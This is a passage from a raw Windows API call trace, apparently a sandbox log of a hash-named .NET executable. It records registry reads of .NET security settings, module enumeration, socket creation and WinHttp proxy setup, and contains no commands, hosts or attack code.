(hKey=0x3ac) returned 0x0 [0163.584] GetCurrentProcessId () returned 0xed0 [0163.585] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.585] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x216da84, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x216da84, lpcbNeeded=0x3ee9b8) returned 1 [0163.586] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x216dbc4, cb=0xc | out: lpmodinfo=0x216dbc4*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.587] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.587] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.587] CoTaskMemFree (pv=0x8bcda0) [0163.587] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.587] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.587] CoTaskMemFree (pv=0x8bcda0) [0163.587] CloseHandle (hObject=0x3ac) returned 1 [0163.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.588] RegQueryValueExW (in: hKey=0x3ac, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.589] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.589] GetCurrentProcessId () returned 0xed0 [0163.589] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.589] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x2170648, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x2170648, lpcbNeeded=0x3ee9b8) returned 1 [0163.590] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x2170788, cb=0xc | out: lpmodinfo=0x2170788*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.591] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.591] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.591] CoTaskMemFree (pv=0x8bcda0) [0163.592] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.592] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.592] CoTaskMemFree (pv=0x8bcda0) [0163.592] CloseHandle (hObject=0x3ac) returned 1 [0163.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.593] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.593] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.593] RegQueryValueExW (in: hKey=0x3ac, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.593] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.594] GetCurrentProcessId () returned 0xed0 [0163.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.594] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x2173180, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x2173180, lpcbNeeded=0x3ee9b8) returned 1 [0163.595] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x21732c0, cb=0xc | out: lpmodinfo=0x21732c0*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.595] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.595] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.596] CoTaskMemFree (pv=0x8bcda0) [0163.596] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.596] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.596] CoTaskMemFree (pv=0x8bcda0) [0163.596] CloseHandle (hObject=0x3ac) returned 1 [0163.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.597] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.597] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.597] RegQueryValueExW (in: hKey=0x3ac, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.597] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.598] GetCurrentProcessId () returned 0xed0 [0163.598] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.598] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x2175c9c, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x2175c9c, lpcbNeeded=0x3ee9b8) returned 1 [0163.599] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x2175ddc, cb=0xc | out: lpmodinfo=0x2175ddc*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.600] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.600] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.600] CoTaskMemFree (pv=0x8bcda0) [0163.600] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.600] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.600] CoTaskMemFree (pv=0x8bcda0) [0163.600] CloseHandle (hObject=0x3ac) returned 1 [0163.601] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.601] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.601] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.601] RegQueryValueExW (in: hKey=0x3ac, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.602] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.611] RegQueryValueExW (in: hKey=0x3ac, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.611] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.611] GetCurrentProcessId () returned 0xed0 [0163.611] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.612] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x21798a4, cb=0x100, lpcbNeeded=0x3ee9b4 | out: lphModule=0x21798a4, lpcbNeeded=0x3ee9b4) returned 1 [0163.613] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x21799e4, cb=0xc | out: lpmodinfo=0x21799e4*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.613] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.613] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.613] CoTaskMemFree (pv=0x8bcda0) [0163.613] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.613] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.614] CoTaskMemFree (pv=0x8bcda0) [0163.614] CloseHandle (hObject=0x3ac) returned 1 [0163.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.614] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9ac | out: phkResult=0x3ee9ac*=0x0) returned 0x2 [0163.615] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9ac | out: phkResult=0x3ee9ac*=0x3ac) returned 0x0 [0163.615] RegQueryValueExW (in: hKey=0x3ac, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x3ee9c8, lpData=0x0, lpcbData=0x3ee9c4*=0x0 | out: lpType=0x3ee9c8*=0x0, lpData=0x0, lpcbData=0x3ee9c4*=0x0) returned 0x2 [0163.615] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.616] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.616] RegQueryValueExW (in: hKey=0x3ac, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.616] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.617] GetCurrentProcessId () returned 0xed0 [0163.617] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.617] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x217c7b0, cb=0x100, lpcbNeeded=0x3ee9b4 | out: lphModule=0x217c7b0, lpcbNeeded=0x3ee9b4) returned 1 [0163.629] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x217c8f0, cb=0xc | out: lpmodinfo=0x217c8f0*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.629] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.629] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.629] CoTaskMemFree (pv=0x8bcda0) [0163.630] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.630] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.630] CoTaskMemFree (pv=0x8bcda0) [0163.630] CloseHandle (hObject=0x3ac) returned 1 [0163.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.631] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9ac | out: phkResult=0x3ee9ac*=0x0) returned 0x2 [0163.631] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9ac | out: phkResult=0x3ee9ac*=0x3ac) returned 0x0 [0163.631] RegQueryValueExW (in: hKey=0x3ac, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x3ee9c8, lpData=0x0, lpcbData=0x3ee9c4*=0x0 | out: lpType=0x3ee9c8*=0x0, lpData=0x0, lpcbData=0x3ee9c4*=0x0) returned 0x2 [0163.631] RegCloseKey (hKey=0x3ac) returned 0x0 [0168.660] GetACP () returned 0x4e4 [0168.681] GetCurrentProcess () returned 0xffffffff [0168.682] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee620 | out: TokenHandle=0x3ee620*=0x2ac) returned 1 [0168.686] CloseHandle (hObject=0x2ac) returned 1 [0168.686] GetCurrentProcess () returned 0xffffffff [0168.686] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee638 | out: TokenHandle=0x3ee638*=0x2ac) returned 1 [0168.686] CloseHandle (hObject=0x2ac) returned 1 [0168.691] GetCurrentProcess () returned 0xffffffff [0168.691] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee628 | out: TokenHandle=0x3ee628*=0x2ac) returned 1 [0168.699] CloseHandle (hObject=0x2ac) returned 1 [0168.699] GetCurrentProcess () returned 0xffffffff [0168.699] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee640 | out: TokenHandle=0x3ee640*=0x2ac) returned 1 [0168.700] CloseHandle (hObject=0x2ac) returned 1 [0168.721] QueryPerformanceFrequency (in: lpFrequency=0x125d00 | out: lpFrequency=0x125d00*=100000000) returned 1 [0168.721] QueryPerformanceCounter (in: lpPerformanceCount=0x3ee9e8 | out: lpPerformanceCount=0x3ee9e8*=1180969852705) returned 1 [0168.728] GetCurrentProcess () returned 0xffffffff [0168.728] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee5fc | out: TokenHandle=0x3ee5fc*=0x2ac) returned 1 [0168.731] CloseHandle (hObject=0x2ac) returned 1 [0168.731] GetCurrentProcess () returned 0xffffffff [0168.731] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee614 | out: TokenHandle=0x3ee614*=0x2ac) returned 1 [0168.732] CloseHandle (hObject=0x2ac) returned 1 [0168.737] GetCurrentProcess () returned 0xffffffff [0168.737] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee8cc | out: TokenHandle=0x3ee8cc*=0x2ac) returned 1 [0169.281] CoTaskMemAlloc (cb=0xcc0) returned 0x86fd78 [0169.282] RasEnumConnectionsW (in: param_1=0x86fd78, param_2=0x3ee8dc, param_3=0x3ee8e0 | out: param_1=0x86fd78, param_2=0x3ee8dc, param_3=0x3ee8e0) returned 0x0 [0169.518] CoTaskMemFree (pv=0x86fd78) [0169.525] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3ee6c4 | out: lpWSAData=0x3ee6c4) returned 0 [0169.534] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x41c [0169.541] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0169.541] closesocket (s=0x41c) returned 0 [0169.544] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x41c [0169.548] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0169.548] closesocket (s=0x41c) returned 0 [0169.548] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x41c [0169.549] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x420 [0169.550] ioctlsocket (in: s=0x41c, cmd=-2147195266, argp=0x3ee8e4 | out: argp=0x3ee8e4) returned 0 [0169.550] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x424 [0169.551] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x428 [0169.551] ioctlsocket (in: s=0x424, cmd=-2147195266, argp=0x3ee8e4 | out: argp=0x3ee8e4) returned 0 [0169.552] WSAIoctl (in: s=0x41c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ee8cc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ee8cc, lpOverlapped=0x0) returned -1 [0169.553] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3ee5fc, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0169.561] WSAEventSelect (s=0x41c, hEventObject=0x420, lNetworkEvents=512) returned 0 [0169.561] WSAIoctl (in: s=0x424, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ee8cc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ee8cc, lpOverlapped=0x0) returned -1 [0169.562] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3ee5fc, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0169.562] WSAEventSelect (s=0x424, hEventObject=0x428, lNetworkEvents=512) returned 0 [0169.562] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x430 [0169.562] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x430, param_3=0x3) returned 0x0 [0169.569] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x3ee8f8 | out: phkResult=0x3ee8f8*=0x448) returned 0x0 [0169.570] RegOpenKeyExW (in: hKey=0x448, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee8ac | out: phkResult=0x3ee8ac*=0x44c) returned 0x0 [0169.571] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x450 [0169.571] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0169.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee8b0 | out: phkResult=0x3ee8b0*=0x454) returned 0x0 [0169.573] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x458 [0169.573] RegNotifyChangeKeyValue (hKey=0x454, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x458, fAsynchronous=1) returned 0x0 [0169.573] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee8b0 | out: phkResult=0x3ee8b0*=0x45c) returned 0x0 [0169.574] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x460 [0169.574] RegNotifyChangeKeyValue (hKey=0x45c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x460, fAsynchronous=1) returned 0x0 [0169.574] GetCurrentProcess () returned 0xffffffff [0169.574] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee8a0 | out: TokenHandle=0x3ee8a0*=0x464) returned 1 [0169.578] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee1a8 | out: phkResult=0x3ee1a8*=0x468) returned 0x0 [0169.579] RegQueryValueExW (in: hKey=0x468, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x3ee1c4, lpData=0x0, lpcbData=0x3ee1c0*=0x0 | out: lpType=0x3ee1c4*=0x0, lpData=0x0, lpcbData=0x3ee1c0*=0x0) returned 0x2 [0169.579] RegCloseKey (hKey=0x468) returned 0x0 [0170.033] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8a3438 [0170.152] WinHttpSetTimeouts (hInternet=0x8a3438, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0170.153] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x3ee8ac | out: pProxyConfig=0x3ee8ac) returned 1 [0170.536] CloseHandle (hObject=0x2ac) returned 1 [0170.545] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x3ee120, nSize=0x80 | out: lpBuffer="") returned 0x0 [0170.545] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x3ee120, nSize=0x80 | out: lpBuffer="") returned 0x0 [0170.562] EtwEventRegister () returned 0x0 [0170.577] EtwEventRegister () returned 0x0 [0170.606] GetCurrentProcess () returned 0xffffffff [0170.606] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee5c4 | out: TokenHandle=0x3ee5c4*=0x4ac) returned 1 [0170.609] CloseHandle (hObject=0x4ac) returned 1 [0170.609] GetCurrentProcess () returned 0xffffffff [0170.609] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee5dc | out: TokenHandle=0x3ee5dc*=0x4ac) returned 1 [0170.610] CloseHandle (hObject=0x4ac) returned 1 [0170.614] SetEvent (hEvent=0x2a4) returned 1 [0170.627] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, 